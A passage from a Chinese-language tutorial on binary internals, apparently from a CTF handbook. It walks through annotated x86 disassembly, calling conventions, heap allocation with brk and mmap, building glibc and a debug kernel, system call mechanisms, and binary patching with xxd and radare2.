+   0x00000567 <+4>: and    esp,0xfffffff0                     ;栈 16 字节对齐
+   0x0000056a <+7>: push   DWORD PTR [ecx-0x4]                ;ecx-0x4,即原 esp 强制转换为双字数据后压入栈中
+   0x0000056d <+10>:    push   ebp                              ;保存调用 main() 函数之前的 ebp,由于在 _start 中将 ebp 清零了,这里的 ebp=0x0
+   0x0000056e <+11>:    mov    ebp,esp                          ;把调用 main() 之前的 esp 作为当前栈帧的 ebp
+   0x00000570 <+13>:    push   ebx                              ;ebx、ecx 入栈
+   0x00000571 <+14>:    push   ecx
+   0x00000572 <+15>:    sub    esp,0x10                         ;为局部变量 a、b 分配空间并做到 16 字节对齐
+   0x00000575 <+18>:    call   0x440 <__x86.get_pc_thunk.bx>    ;调用 <__x86.get_pc_thunk.bx> 函数,将 esp 强制转换为双字数据后保存到 ebx
+   0x0000057a <+23>:    add    ebx,0x1a86                       ;ebx+0x1a86
+   0x00000580 <+29>:    mov    DWORD PTR [ebp-0x10],0x1         ;a 第二个入栈所以保存在 ebp-0x10 的位置,此句即 a=1
+   0x00000587 <+36>:    mov    DWORD PTR [ebp-0xc],0x2          ;b 第一个入栈所以保存在 ebp-0xc 的位置,此句即 b=2
+   0x0000058e <+43>:    push   DWORD PTR [ebp-0xc]              ;将 b 压入栈中
+   0x00000591 <+46>:    push   DWORD PTR [ebp-0x10]             ;将 a 压入栈中
+   0x00000594 <+49>:    call   0x53d <add>                      ;调用 add() 函数,返回值保存在 eax 中
+   0x00000599 <+54>:    add    esp,0x8                          ;清理 add() 的参数
+   0x0000059c <+57>:    sub    esp,0x8                          ;调整 esp 使 16 位对齐
+   0x0000059f <+60>:    push   eax                              ;eax 入栈
+   0x000005a0 <+61>:    lea    eax,[ebx-0x19b0]                 ;ebx-0x19b0 的地址保存到 eax,该地址处保存字符串 "%d\n"
+   0x000005a6 <+67>:    push   eax                              ;eax 入栈
+   0x000005a7 <+68>:    call   0x3d0 <printf@plt>               ;调用 printf() 函数
+   0x000005ac <+73>:    add    esp,0x10                         ;调整栈顶指针 esp,清理 printf() 的参数
+   0x000005af <+76>:    mov    eax,0x0                          ;eax=0x0
+   0x000005b4 <+81>:    lea    esp,[ebp-0x8]                    ;ebp-0x8 的地址保存到 esp
+   0x000005b7 <+84>:    pop    ecx                              ;弹栈恢复 ecx、ebx、ebp
+   0x000005b8 <+85>:    pop    ebx
+   0x000005b9 <+86>:    pop    ebp
+   0x000005ba <+87>:    lea    esp,[ecx-0x4]                    ;ecx-0x4 的地址保存到 esp
+   0x000005bd <+90>:    ret                                     ;返回,相当于 pop eip;
+End of assembler dump.
+gdb-peda$ disassemble add
+Dump of assembler code for function add:
+   0x0000053d <+0>: push   ebp                                ;保存调用 add() 函数之前的 ebp
+   0x0000053e <+1>: mov    ebp,esp                            ;把调用 add() 之前的 esp 作为当前栈帧的 ebp
+   0x00000540 <+3>: sub    esp,0x10                           ;为局部变量 x、y 分配空间并做到 16 字节对齐
+   0x00000543 <+6>: call   0x5be <__x86.get_pc_thunk.ax>      ;调用 <__x86.get_pc_thunk.ax> 函数,将 esp 强制转换为双字数据后保存到 eax
+   0x00000548 <+11>:    add    eax,0x1ab8                       ;eax+0x1ab8
+   0x0000054d <+16>:    mov    eax,DWORD PTR [ebp+0x8]          ;将 ebp+0x8 的数据 0x1 传送到 eax,ebp+0x4 为函数返回地址
+   0x00000550 <+19>:    mov    DWORD PTR [ebp-0x8],eax          ;保存 eax 的值 0x1 到 ebp-0x8 的位置
+   0x00000553 <+22>:    mov    eax,DWORD PTR [ebp+0xc]          ;将 ebp+0xc 的数据 0x2 传送到 eax
+   0x00000556 <+25>:    mov    DWORD PTR [ebp-0x4],eax          ;保存 eax 的值 0x2 到 ebp-0x4 的位置
+   0x00000559 <+28>:    mov    edx,DWORD PTR [ebp-0x8]          ;取出 ebp-0x8 的值 0x1 到 edx
+   0x0000055c <+31>:    mov    eax,DWORD PTR [ebp-0x4]          ;取出 ebp-0x4 的值 0x2 到 eax
+   0x0000055f <+34>:    add    eax,edx                          ;eax+edx
+   0x00000561 <+36>:    leave                                   ;返回,相当于 mov esp,ebp; pop ebp;
+   0x00000562 <+37>:    ret
+End of assembler dump.
+
+

这里我们在 Linux 环境下,由于 ELF 文件的入口其实是 _start 而不是 main(),所以我们还应该关注下面的函数:

+
gdb-peda$ disassemble _start
+Dump of assembler code for function _start:
+   0x00000400 <+0>: xor    ebp,ebp                            ;清零 ebp,表示下面的 main() 函数栈帧中 ebp 保存的上一级 ebp 为 0x00000000
+   0x00000402 <+2>: pop    esi                                ;将 argc 存入 esi
+   0x00000403 <+3>: mov    ecx,esp                            ;将栈顶地址(argv 和 env 数组的其实地址)传给 ecx
+   0x00000405 <+5>: and    esp,0xfffffff0                     ;栈 16 字节对齐
+   0x00000408 <+8>: push   eax                                ;eax、esp、edx 入栈
+   0x00000409 <+9>: push   esp
+   0x0000040a <+10>:    push   edx
+   0x0000040b <+11>:    call   0x432 <_start+50>                ;先将下一条指令地址 0x00000410 压栈,设置 esp 指向它,再调用 0x00000432 处的指令
+   0x00000410 <+16>:    add    ebx,0x1bf0                       ;ebx+0x1bf0
+   0x00000416 <+22>:    lea    eax,[ebx-0x19d0]                 ;取 <__libc_csu_fini> 地址传给 eax,然后压栈
+   0x0000041c <+28>:    push   eax
+   0x0000041d <+29>:    lea    eax,[ebx-0x1a30]                 ;取 <__libc_csu_init> 地址传入 eax,然后压栈
+   0x00000423 <+35>:    push   eax
+   0x00000424 <+36>:    push   ecx                              ;ecx、esi 入栈保存
+   0x00000425 <+37>:    push   esi
+   0x00000426 <+38>:    push   DWORD PTR [ebx-0x8]              ;调用 main() 函数之前保存返回地址,其实就是保存 main() 函数的入口地址
+   0x0000042c <+44>:    call   0x3e0 <__libc_start_main@plt>    ;call 指令调用 __libc_start_main 函数
+   0x00000431 <+49>:    hlt                                     ;hlt 指令使程序停止运行,处理器进入暂停状态,不执行任何操作,不影响标志。当 RESET 线上有复位信号、CPU 响应非屏蔽终端、CPU 响应可屏蔽终端 3 种情况之一时,CPU 脱离暂停状态,执行下一条指令
+   0x00000432 <+50>:    mov    ebx,DWORD PTR [esp]              ;esp 强制转换为双字数据后保存到 ebx
+   0x00000435 <+53>:    ret                                     ;返回,相当于 pop eip;
+   0x00000436 <+54>:    xchg   ax,ax                            ;交换 ax 和 ax 的数据,相当于 nop
+   0x00000438 <+56>:    xchg   ax,ax
+   0x0000043a <+58>:    xchg   ax,ax
+   0x0000043c <+60>:    xchg   ax,ax
+   0x0000043e <+62>:    xchg   ax,ax
+End of assembler dump.
+
+

函数调用约定

+

函数调用约定是对函数调用时如何传递参数的一种约定。调用函数前要先把参数压入栈然后再传递给函数。

+

一个调用约定大概有如下的内容:

+
    +
  • 函数参数的传递顺序和方式
  • +
  • 栈的维护方式
  • +
  • 名字修饰的策略
  • +
+

主要的函数调用约定如下,其中 cdecl 是 C 语言默认的调用约定:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
调用约定出栈方参数传递名字修饰
cdecl函数调用方从右到左的顺序压参数入栈下划线+函数名
stdcall函数本身从右到左的顺序压参数入栈下划线+函数名+@+参数的字节数
fastcall函数本身都两个 DWORD(4 字节)类型或者占更少字节的参数被放入寄存器,其他剩下的参数按从右到左的顺序压入栈@+函数名+@+参数的字节数
+

除了参数的传递之外,函数与调用方还可以通过返回值进行交互。当返回值不大于 4 字节时,返回值存储在 eax 寄存器中,当返回值在 5~8 字节时,采用 eax 和 edx 结合的形式返回,其中 eax 存储低 4 字节, edx 存储高 4 字节。

+

堆与内存管理

+

+

img

+

堆是用于存放除了栈里的东西之外所有其他东西的内存区域,有动态内存分配器负责维护。分配器将堆视为一组不同大小的块(block)的集合来维护,每个块就是一个连续的虚拟内存器片(chunk)。当使用 malloc()free() 时就是在操作堆中的内存。对于堆来说,释放工作由程序员控制,容易产生内存泄露。

+

堆是向高地址扩展的数据结构,是不连续的内存区域。这是由于系统是用链表来存储的空闲内存地址的,而链表的遍历方向是由低地址向高地址。堆的大小受限于计算机系统中有效的虚拟内存。由此可见,堆获得的空间比较灵活,也比较大。

+

如果每次申请内存时都直接使用系统调用,会严重影响程序的性能。通常情况下,运行库先向操作系统“批发”一块较大的堆空间,然后“零售”给程序使用。当全部“售完”之后或者剩余空间不能满足程序的需求时,再根据情况向操作系统“进货”。

+

进程堆管理

+

Linux 提供了两种堆空间分配的方式,一个是 brk() 系统调用,另一个是 mmap() 系统调用。可以使用 man brkman mmap 查看。

+

brk() 的声明如下:

+
#include <unistd.h>
+
+int brk(void *addr);
+
+void *sbrk(intptr_t increment);
+
+

参数 *addr 是进程数据段的结束地址,brk() 通过改变该地址来改变数据段的大小,当结束地址向高地址移动,进程内存空间增大,当结束地址向低地址移动,进程内存空间减小。brk()调用成功时返回 0,失败时返回 -1。 sbrk()brk() 类似,但是参数 increment 表示增量,即增加或减少的空间大小,调用成功时返回增加后减小前数据段的结束地址,失败时返回 -1。

+

在上图中我们看到 brk 指示堆结束地址,start_brk 指示堆开始地址。BSS segment 和 heap 之间有一段 Random brk offset,这是由于 ASLR 的作用,如果关闭了 ASLR,则 Random brk offset 为 0,堆结束地址和数据段开始地址重合。

+

例子:源码

+
#include <stdio.h>
+#include <unistd.h>
+void main() {
+        void *curr_brk, *tmp_brk, *pre_brk;
+
+        printf("当前进程 PID:%d\n", getpid());
+
+        tmp_brk = curr_brk = sbrk(0);
+        printf("初始化后的结束地址:%p\n", curr_brk);
+        getchar();
+
+        brk(curr_brk+4096);
+        curr_brk = sbrk(0);
+        printf("brk 之后的结束地址:%p\n", curr_brk);
+        getchar();
+
+        pre_brk = sbrk(4096);
+        curr_brk = sbrk(0);
+        printf("sbrk 返回值(即之前的结束地址):%p\n", pre_brk);
+        printf("sbrk 之后的结束地址:%p\n", curr_brk);
+        getchar();
+
+        brk(tmp_brk);
+        curr_brk = sbrk(0);
+        printf("恢复到初始化时的结束地址:%p\n", curr_brk);
+        getchar();
+}
+
+

开启两个终端,一个用于执行程序,另一个用于观察内存地址。首先我们看关闭了 ASLR 的情况。第一步初始化:

+
# echo 0 > /proc/sys/kernel/randomize_va_space
+$ ./a.out
+当前进程 PID:27759
+初始化后的结束地址:0x56579000
+# cat /proc/27759/maps
+...
+56557000-56558000 rw-p 00001000 08:01 28587506                           /home/a.out
+56558000-56579000 rw-p 00000000 00:00 0                                  [heap]
+...
+
+

数据段结束地址和堆开始地址同为 0x56558000,堆结束地址为 0x56579000

+

第二步使用 brk() 增加堆空间:

+
$ ./a.out
+当前进程 PID:27759
+初始化后的结束地址:0x56579000
+
+brk 之后的结束地址:0x5657a000
+# cat /proc/27759/maps
+...
+56557000-56558000 rw-p 00001000 08:01 28587506                           /home/a.out
+56558000-5657a000 rw-p 00000000 00:00 0                                  [heap]
+...
+
+

堆开始地址不变,结束地址增加为 0x5657a000

+

第三步使用 sbrk() 增加堆空间:

+
$ ./a.out
+当前进程 PID:27759
+初始化后的结束地址:0x56579000
+
+brk 之后的结束地址:0x5657a000
+
+sbrk 返回值(即之前的结束地址):0x5657a000
+sbrk 之后的结束地址:0x5657b000
+# cat /proc/27759/maps
+...
+56557000-56558000 rw-p 00001000 08:01 28587506                           /home/a.out
+56558000-5657b000 rw-p 00000000 00:00 0                                  [heap]
+...
+
+

第四步减小堆空间:

+
$ ./a.out
+当前进程 PID:27759
+初始化后的结束地址:0x56579000
+
+brk 之后的结束地址:0x5657a000
+
+sbrk 返回值(即之前的结束地址):0x5657a000
+sbrk 之后的结束地址:0x5657b000
+
+恢复到初始化时的结束地址:0x56579000
+# cat /proc/27759/maps
+...
+56557000-56558000 rw-p 00001000 08:01 28587506                           /home/a.out
+56558000-56579000 rw-p 00000000 00:00 0                                  [heap]
+...
+
+

再来看一下开启了 ASLR 的情况:

+
# echo 2 > /proc/sys/kernel/randomize_va_space
+$ ./a.out
+当前进程 PID:28025
+初始化后的结束地址:0x578ad000
+# cat /proc/28025/maps
+...
+5663f000-56640000 rw-p 00001000 08:01 28587506                           /home/a.out
+5788c000-578ad000 rw-p 00000000 00:00 0                                  [heap]
+...
+
+

可以看到这时数据段的结束地址 0x56640000 不等于堆的开始地址 0x5788c000

+

mmap() 的声明如下:

+
#include <sys/mman.h>
+
+void *mmap(void *addr, size_t len, int prot, int flags,
+    int fildes, off_t off);
+
+

mmap() 函数用于创建新的虚拟内存区域,并将对象映射到这些区域中,当它不将地址空间映射到某个文件时,我们称这块空间为匿名(Anonymous)空间,匿名空间可以用来作为堆空间。mmap() 函数要求内核创建一个从地址 addr 开始的新虚拟内存区域,并将文件描述符 fildes 指定的对象的一个连续的片(chunk)映射到这个新区域。连续的对象片大小为 len 字节,从距文件开始处偏移量为 off 字节的地方开始。prot 描述虚拟内存区域的访问权限位,flags 描述被映射对象类型的位组成。

+

munmap() 则用于删除虚拟内存区域:

+
#include <sys/mman.h>
+
+int munmap(void *addr, size_t len);
+
+

例子:源码

+
#include <stdio.h>
+#include <sys/mman.h>
+#include <unistd.h>
+void main() {
+    void *curr_brk;
+
+    printf("当前进程 PID:%d\n", getpid());
+    printf("初始化后\n");
+    getchar();
+
+    char *addr;
+    addr = mmap(NULL, (size_t)4096, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
+    printf("mmap 完成\n");
+    getchar();
+
+    munmap(addr, (size_t)4096);
+    printf("munmap 完成\n");
+    getchar();
+}
+
+

第一步初始化:

+
$ ./a.out
+当前进程 PID:28652
+初始化后
+# cat /proc/28652/maps
+...
+f76b2000-f76b5000 rw-p 00000000 00:00 0
+f76ef000-f76f1000 rw-p 00000000 00:00 0
+...
+
+

第二步 mmap:

+
]$ ./a.out
+当前进程 PID:28652
+初始化后
+mmap 完成
+# cat /proc/28652/maps
+...
+f76b2000-f76b5000 rw-p 00000000 00:00 0
+f76ee000-f76f1000 rw-p 00000000 00:00 0
+...
+
+

第三步 munmap:

+
$ ./a.out
+当前进程 PID:28652
+初始化后
+mmap 完成
+munmap 完成
+# cat /proc/28652/maps
+...
+f76b2000-f76b5000 rw-p 00000000 00:00 0
+f76ef000-f76f1000 rw-p 00000000 00:00 0
+...
+
+

可以看到第二行第一列地址从 f76ef000->f76ee000->f76ef000 变化。0xf76ee000-0xf76ef000=0x1000=4096

+

通常情况下,我们不会直接使用 brk()mmap() 来分配堆空间,C 标准库提供了一个叫做 malloc 的分配器,程序通过调用 malloc() 函数来从堆中分配块,声明如下:

+
#include <stdlib.h>
+
+void *malloc(size_t size);
+void free(void *ptr);
+void *calloc(size_t nmemb, size_t size);
+void *realloc(void *ptr, size_t size);
+
+

示例:

+
#include<stdio.h>
+#include<malloc.h>
+void foo(int n) {
+    int *p;
+    p = (int *)malloc(n * sizeof(int));
+
+    for (int i=0; i<n; i++) {
+        p[i] = i;
+        printf("%d ", p[i]);
+    }
+    printf("\n");
+
+    free(p);
+}
+
+void main() {
+    int n;
+    scanf("%d", &n);
+
+    foo(n);
+}
+
+

运行结果:

+
$ ./malloc
+4
+0 1 2 3
+$ ./malloc
+8
+0 1 2 3 4 5 6 7
+$ ./malloc
+16
+0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+
+

使用 gdb 查看反汇编代码:

+
gdb-peda$ disassemble foo
+Dump of assembler code for function foo:
+   0x0000066d <+0>:     push   ebp
+   0x0000066e <+1>:     mov    ebp,esp
+   0x00000670 <+3>:     push   ebx
+   0x00000671 <+4>:     sub    esp,0x14
+   0x00000674 <+7>:     call   0x570 <__x86.get_pc_thunk.bx>
+   0x00000679 <+12>:    add    ebx,0x1987
+   0x0000067f <+18>:    mov    eax,DWORD PTR [ebp+0x8]
+   0x00000682 <+21>:    shl    eax,0x2
+   0x00000685 <+24>:    sub    esp,0xc
+   0x00000688 <+27>:    push   eax
+   0x00000689 <+28>:    call   0x4e0 <malloc@plt>
+   0x0000068e <+33>:    add    esp,0x10
+   0x00000691 <+36>:    mov    DWORD PTR [ebp-0xc],eax
+   0x00000694 <+39>:    mov    DWORD PTR [ebp-0x10],0x0
+   0x0000069b <+46>:    jmp    0x6d9 <foo+108>
+   0x0000069d <+48>:    mov    eax,DWORD PTR [ebp-0x10]
+   0x000006a0 <+51>:    lea    edx,[eax*4+0x0]
+   0x000006a7 <+58>:    mov    eax,DWORD PTR [ebp-0xc]
+   0x000006aa <+61>:    add    edx,eax
+   0x000006ac <+63>:    mov    eax,DWORD PTR [ebp-0x10]
+   0x000006af <+66>:    mov    DWORD PTR [edx],eax
+   0x000006b1 <+68>:    mov    eax,DWORD PTR [ebp-0x10]
+   0x000006b4 <+71>:    lea    edx,[eax*4+0x0]
+   0x000006bb <+78>:    mov    eax,DWORD PTR [ebp-0xc]
+   0x000006be <+81>:    add    eax,edx
+   0x000006c0 <+83>:    mov    eax,DWORD PTR [eax]
+   0x000006c2 <+85>:    sub    esp,0x8
+   0x000006c5 <+88>:    push   eax
+   0x000006c6 <+89>:    lea    eax,[ebx-0x17e0]
+   0x000006cc <+95>:    push   eax
+   0x000006cd <+96>:    call   0x4b0 <printf@plt>
+   0x000006d2 <+101>:   add    esp,0x10
+   0x000006d5 <+104>:   add    DWORD PTR [ebp-0x10],0x1
+   0x000006d9 <+108>:   mov    eax,DWORD PTR [ebp-0x10]
+   0x000006dc <+111>:   cmp    eax,DWORD PTR [ebp+0x8]
+   0x000006df <+114>:   jl     0x69d <foo+48>
+   0x000006e1 <+116>:   sub    esp,0xc
+   0x000006e4 <+119>:   push   0xa
+   0x000006e6 <+121>:   call   0x500 <putchar@plt>
+   0x000006eb <+126>:   add    esp,0x10
+   0x000006ee <+129>:   sub    esp,0xc
+   0x000006f1 <+132>:   push   DWORD PTR [ebp-0xc]
+   0x000006f4 <+135>:   call   0x4c0 <free@plt>
+   0x000006f9 <+140>:   add    esp,0x10
+   0x000006fc <+143>:   nop
+   0x000006fd <+144>:   mov    ebx,DWORD PTR [ebp-0x4]
+   0x00000700 <+147>:   leave  
+   0x00000701 <+148>:   ret
+End of assembler dump.
+
+

关于 glibc 中的 malloc 实现是一个很重要的话题,我们会在后面的章节详细介绍。

+

glibc malloc

+ +

下载文件

+

glibc

+

glibc 即 GNU C Library,是为 GNU 操作系统开发的一个 C 标准库。glibc 主要由两部分组成,一部分是头文件,位于 /usr/include;另一部分是库的二进制文件。二进制文件部分主要是 C 语言标准库,有动态和静态两个版本,动态版本位于 /lib/libc.so.6,静态版本位于 /usr/lib/libc.a

+

这一章中,我们将阅读分析 glibc 的源码,下面先把它下载下来,并切换到我们需要的版本:

+
$ git clone git://sourceware.org/git/glibc.git
+$ cd glibc
+$ git checkout --track -b local_glibc-2.23 origin/release/2.23/master
+
+

下面来编译它,首先修改配置文件 Makeconfig,将 -Werror 注释掉,这样可以避免高版本 GCC(v8.1.0) 将警告当做错误处理:

+
$ cat Makeconfig | grep -i werror | grep warn
++gccwarn += #-Werror
+
+

接下来需要打上一个 patch:

+
$ cat regexp.patch
+diff --git a/misc/regexp.c b/misc/regexp.c
+index 19d76c0..9017bc1 100644
+--- a/misc/regexp.c
++++ b/misc/regexp.c
+@@ -29,14 +29,17 @@
+
+ #if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_23)
+
+-/* Define the variables used for the interface.  */
+-char *loc1;
+-char *loc2;
++#include <stdlib.h>    /* Get NULL.  */
++
++/* Define the variables used for the interface.  Avoid .symver on common
++   symbol, which just creates a new common symbol, not an alias.  */
++char *loc1 = NULL;
++char *loc2 = NULL;
+ compat_symbol (libc, loc1, loc1, GLIBC_2_0);
+ compat_symbol (libc, loc2, loc2, GLIBC_2_0);
+
+ /* Although we do not support the use we define this variable as well.  */
+-char *locs;
++char *locs = NULL;
+ compat_symbol (libc, locs, locs, GLIBC_2_0);
+$ patch misc/regexp.c regexp.patch
+
+

然后就可以编译了:

+
$ mkdir build && cd build
+$ ../configure --prefix=/usr/local/glibc-2.23
+$ make -j4 && sudo make install
+
+

如果我们想要在编译程序时指定 libc,可以像这样:

+
$ gcc -L/usr/local/glibc-2.23/lib -Wl,--rpath=/usr/local/glibc-2.23/lib -Wl,-I/usr/local/glibc-2.23/lib/ld-2.23.so test.c
+$ ldd a.out
+        linux-vdso.so.1 (0x00007ffcc76b0000)
+        libc.so.6 => /usr/local/glibc-2.23/lib/libc.so.6 (0x00007f6abd578000)
+        /usr/local/glibc-2.23/lib/ld-2.23.so => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f6abdb1c000)
+
+

然后如果希望在调试时指定 libc 的源文件,可以使用 gdb 命令 directory,但是这种方法的缺点是不能解析子目录,所以推荐使用下面的命令在启动时加载:

+
gdb `find ~/path/to/glibc/source -type d -printf '-d %p '` ./a.out
+
+

malloc.c

+

下面我们先分析 glibc 2.23 版本的源码,它是 Ubuntu16.04 的默认版本,在 pwn 中也最常见。然后,我们再探讨新版本的 glibc 中所加入的漏洞缓解机制。

+

相关结构

+

堆块结构

+
    +
  • Allocated Chunk
  • +
  • Free Chunk
  • +
  • Top Chunk
  • +
+

Bins 结构

+
    +
  • Fast Bins
  • +
  • Small Bins
  • +
  • Large Bins
  • +
  • Unsorted Bins
  • +
+

Arena 结构

+

分配函数

+
_int_malloc()
+
+

释放函数

+
_int_free()
+
+

重分配函数

+
_int_realloc()
+
+

Linux 内核

+ +

编译安装

+

我的编译环境是如下。首先安装必要的软件:

+
$ uname -a
+Linux firmy-pc 4.14.34-1-MANJARO #1 SMP PREEMPT Thu Apr 12 17:26:43 UTC 2018 x86_64 GNU/Linux
+$ yaourt -S base-devel
+
+

为了方便学习,选择一个稳定版本,比如最新的 4.16.3。

+
$ mkdir ~/kernelbuild && cd ~/kernelbuild
+$ wget -c https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.16.3.tar.xz
+$ tar -xvJf linux-4.16.3.tar.xz
+$ cd linux-4.16.3/
+$ make clean && make mrproper
+
+

内核的配置选项在 .config 文件中,有两种方法可以设置这些选项,一种是从当前内核中获得一份默认配置:

+
$ zcat /proc/config.gz > .config
+$ make oldconfig
+
+

另一种是自己生成一份配置:

+
$ make localmodconfig   # 使用当前内核配置生成
+    # OR
+$ make defconfig        # 根据当前架构默认的配置生成
+
+

为了能够对内核进行调试,需要设置下面的参数:

+
CONFIG_DEBUG_INFO=y
+CONFIG_DEBUG_INFO_REDUCED=n
+CONFIG_GDB_SCRIPTS=y
+
+

如果需要使用 kgdb,还需要开启下面的参数:

+
CONFIG_STRICT_KERNEL_RWX=n
+CONFIG_FRAME_POINTER=y
+CONFIG_KGDB=y
+CONFIG_KGDB_SERIAL_CONSOLE=y
+
+

CONFIG_STRICT_KERNEL_RWX 会将特定的内核内存空间标记为只读,这将阻止你使用软件断点,最好将它关掉。 如果希望使用 kdb,在上面的基础上再加上:

+
CONFIG_KGDB_KDB=y
+CONFIG_KDB_KEYBOARD=y
+
+

另外如果你在调试时不希望被 KASLR 干扰,可以在编译时关掉它:

+
CONFIG_RANDOMIZE_BASE=n
+CONFIG_RANDOMIZE_MEMORY=n
+
+

将上面的参数写到文件 .config-fragment,然后合并进 .config

+
$ ./scripts/kconfig/merge_config.sh .config .config-fragment
+
+

最后因为内核编译默认开启了 -O2 优化,可以修改 Makefile 为 -O0

+
KBUILD_CFLAGS   += -O0
+
+

编译内核:

+
$ make
+
+

完成后当然就是安装,但我们这里并不是真的要将本机的内核换掉,接下来的过程就交给 QEMU 了。(参考章节4.1)

+

系统调用

+

在 Linux 中,系统调用是一些内核空间函数,是用户空间访问内核的唯一手段。这些函数与 CPU 架构有关,x86-64 架构提供了 322 个系统调用,x86 提供了 358 个系统调用(参考附录9.4)。

+

下面是一个用 32 位汇编写的例子,源码

+
.data
+
+msg:
+    .ascii "hello 32-bit!\n"
+    len = . - msg
+
+.text
+    .global _start
+
+_start:
+    movl $len, %edx
+    movl $msg, %ecx
+    movl $1, %ebx
+    movl $4, %eax
+    int $0x80
+
+    movl $0, %ebx
+    movl $1, %eax
+    int $0x80
+
+

编译执行(可以编译成64位程序的):

+
$ gcc -m32 -c hello32.S
+$ ld -m elf_i386 -o hello32 hello32.o
+$ strace ./hello32
+execve("./hello32", ["./hello32"], 0x7ffff990f830 /* 68 vars */) = 0
+strace: [ Process PID=19355 runs in 32 bit mode. ]
+write(1, "hello 32-bit!\n", 14hello 32-bit!
+)         = 14
+exit(0)                                 = ?
++++ exited with 0 +++
+
+

可以看到程序将调用号保存到 eax,并通过 int $0x80 来使用系统调用。

+

虽然软中断 int 0x80 非常经典,早期 2.6 及以前版本的内核都使用这种机制进行系统调用。但因其性能较差,在往后的内核中使用了快速系统调用指令来替代,32 位系统使用 sysenter(对应sysexit) 指令,而 64 位系统使用 syscall(对应sysret) 指令。

+

一个使用 sysenter 的例子:

+
.data
+
+msg:
+    .ascii "Hello sysenter!\n"
+    len = . - msg
+
+.text
+    .globl _start
+
+_start:
+    movl $len, %edx
+    movl $msg, %ecx
+    movl $1, %ebx
+    movl $4, %eax
+    # Setting the stack for the systenter
+    pushl $sysenter_ret
+    pushl %ecx
+    pushl %edx
+    pushl %ebp
+    movl %esp, %ebp
+    sysenter
+
+sysenter_ret:
+    movl $0, %ebx
+    movl $1, %eax
+    # Setting the stack for the systenter
+    pushl $sysenter_ret
+    pushl %ecx
+    pushl %edx
+    pushl %ebp
+    movl %esp, %ebp
+    sysenter
+$ gcc -m32 -c sysenter.S
+$ ld -m elf_i386 -o sysenter sysenter.o
+$ strace ./sysenter
+execve("./sysenter", ["./sysenter"], 0x7fff73993fd0 /* 69 vars */) = 0
+strace: [ Process PID=7663 runs in 32 bit mode. ]
+write(1, "Hello sysenter!\n", 16Hello sysenter!
+)       = 16
+exit(0)                                 = ?
++++ exited with 0 +++
+
+

可以看到,为了使用 sysenter 指令,需要为其手动布置栈。这是因为在 sysenter 返回时,会执行 __kernel_vsyscall 的后半部分(从0xf7fd5059开始):

+
gdb-peda$ vmmap vdso
+Start      End        Perm      Name
+0xf7fd4000 0xf7fd6000 r-xp      [vdso]
+gdb-peda$ disassemble __kernel_vsyscall
+Dump of assembler code for function __kernel_vsyscall:
+   0xf7fd5050 <+0>:     push   ecx
+   0xf7fd5051 <+1>:     push   edx
+   0xf7fd5052 <+2>:     push   ebp
+   0xf7fd5053 <+3>:     mov    ebp,esp
+   0xf7fd5055 <+5>:     sysenter
+   0xf7fd5057 <+7>:     int    0x80
+   0xf7fd5059 <+9>:     pop    ebp
+   0xf7fd505a <+10>:    pop    edx
+   0xf7fd505b <+11>:    pop    ecx
+   0xf7fd505c <+12>:    ret
+End of assembler dump.
+
+

__kernel_vsyscall 封装了 sysenter 调用的规范,是 vDSO 的一部分,而 vDSO 允许程序在用户层中执行内核代码。关于 vDSO 的内容我们将在后面的章节中细讲。

+

下面是一个 64 位使用 syscall 的例子:

+
.data
+
+msg:
+    .ascii "Hello 64-bit!\n"
+    len = . - msg
+
+.text
+    .global _start
+
+_start:
+    movq  $1, %rdi
+    movq  $msg, %rsi
+    movq  $len, %rdx
+    movq  $1, %rax
+    syscall
+
+    xorq  %rdi, %rdi
+    movq  $60, %rax
+    syscall
+
+

编译执行(不能编译成32位程序):

+
$ gcc -c hello64.S
+$ ld -o hello64 hello64.o
+$ strace ./hello64
+execve("./hello64", ["./hello64"], 0x7ffe11485290 /* 68 vars */) = 0
+write(1, "Hello 64-bit!\n", 14Hello 64-bit!
+)         = 14
+exit(0)                                 = ?
++++ exited with 0 +++
+
+

在这两个例子中我们直接使用了 execvewriteexit 三个系统调用。但一般情况下,应用程序通过在用户空间实现的应用编程接口(API)而不是直接通过系统调用来编程。例如函数 printf() 的调用过程是这样的:

+
调用printf() ==> C库中的printf() ==> C库中的write() ==> write()系统调用
+
+

patch 二进制文件

+ +

什么是 patch

+

许多时候,我们不能获得程序源码,只能直接对二进制文件进行修改,这就是所谓的 patch,你可以使用十六进制编辑器直接修改文件的字节,也可以利用一些半自动化的工具。

+

patch 有很多种形式:

+
    +
  • patch 二进制文件(程序或库)
  • +
  • 在内存里 patch(利用调试器)
  • +
  • 预加载库替换原库文件中的函数
  • +
  • triggers(hook 然后在运行时 patch)
  • +
+

手工 patch

+

手工 patch 自然会比较麻烦,但能让我们更好地理解一个二进制文件的构成,以及程序的链接和加载。有许多工具可以做到这一点,比如 xxd、dd、gdb、radare2 等等。

+

xxd

+
$ echo 01: 01 02 03 04 05 06 07 08 | xxd -r - output
+$ xxd -g1 output
+00000000: 00 01 02 03 04 05 06 07 08                       .........
+$ echo 04: 41 42 43 44 | xxd -r - output
+$ xxd -g1 output
+00000000: 00 01 02 03 41 42 43 44 08                       ....ABCD.
+
+

参数 -r 用于将 hexdump 转换成 binary。这里我们先创建一个 binary,然后将将其中几个字节改掉。

+

radare2

+

一个简单的例子:

+
#include<stdio.h>
+void main() {
+    printf("hello");
+    puts("world");
+}
+$ gcc -no-pie patch.c
+$ ./a.out
+helloworld
+
+

下面通过计算函数偏移,我们将 printf 换成 puts

+
[0x004004e0]> pdf @ main
+            ;-- main:
+/ (fcn) sym.main 36
+|   sym.main ();
+|              ; DATA XREF from 0x004004fd (entry0)
+|           0x004005ca      55             push rbp
+|           0x004005cb      4889e5         mov rbp, rsp
+|           0x004005ce      488d3d9f0000.  lea rdi, str.hello          ; 0x400674 ; "hello"
+|           0x004005d5      b800000000     mov eax, 0
+|           0x004005da      e8f1feffff     call sym.imp.printf         ; int printf(const char *format)
+|           0x004005df      488d3d940000.  lea rdi, str.world          ; 0x40067a ; "world"
+|           0x004005e6      e8d5feffff     call sym.imp.puts           ; sym.imp.printf-0x10 ; int printf(const char *format)
+|           0x004005eb      90             nop
+|           0x004005ec      5d             pop rbp
+\           0x004005ed      c3             ret
+
+

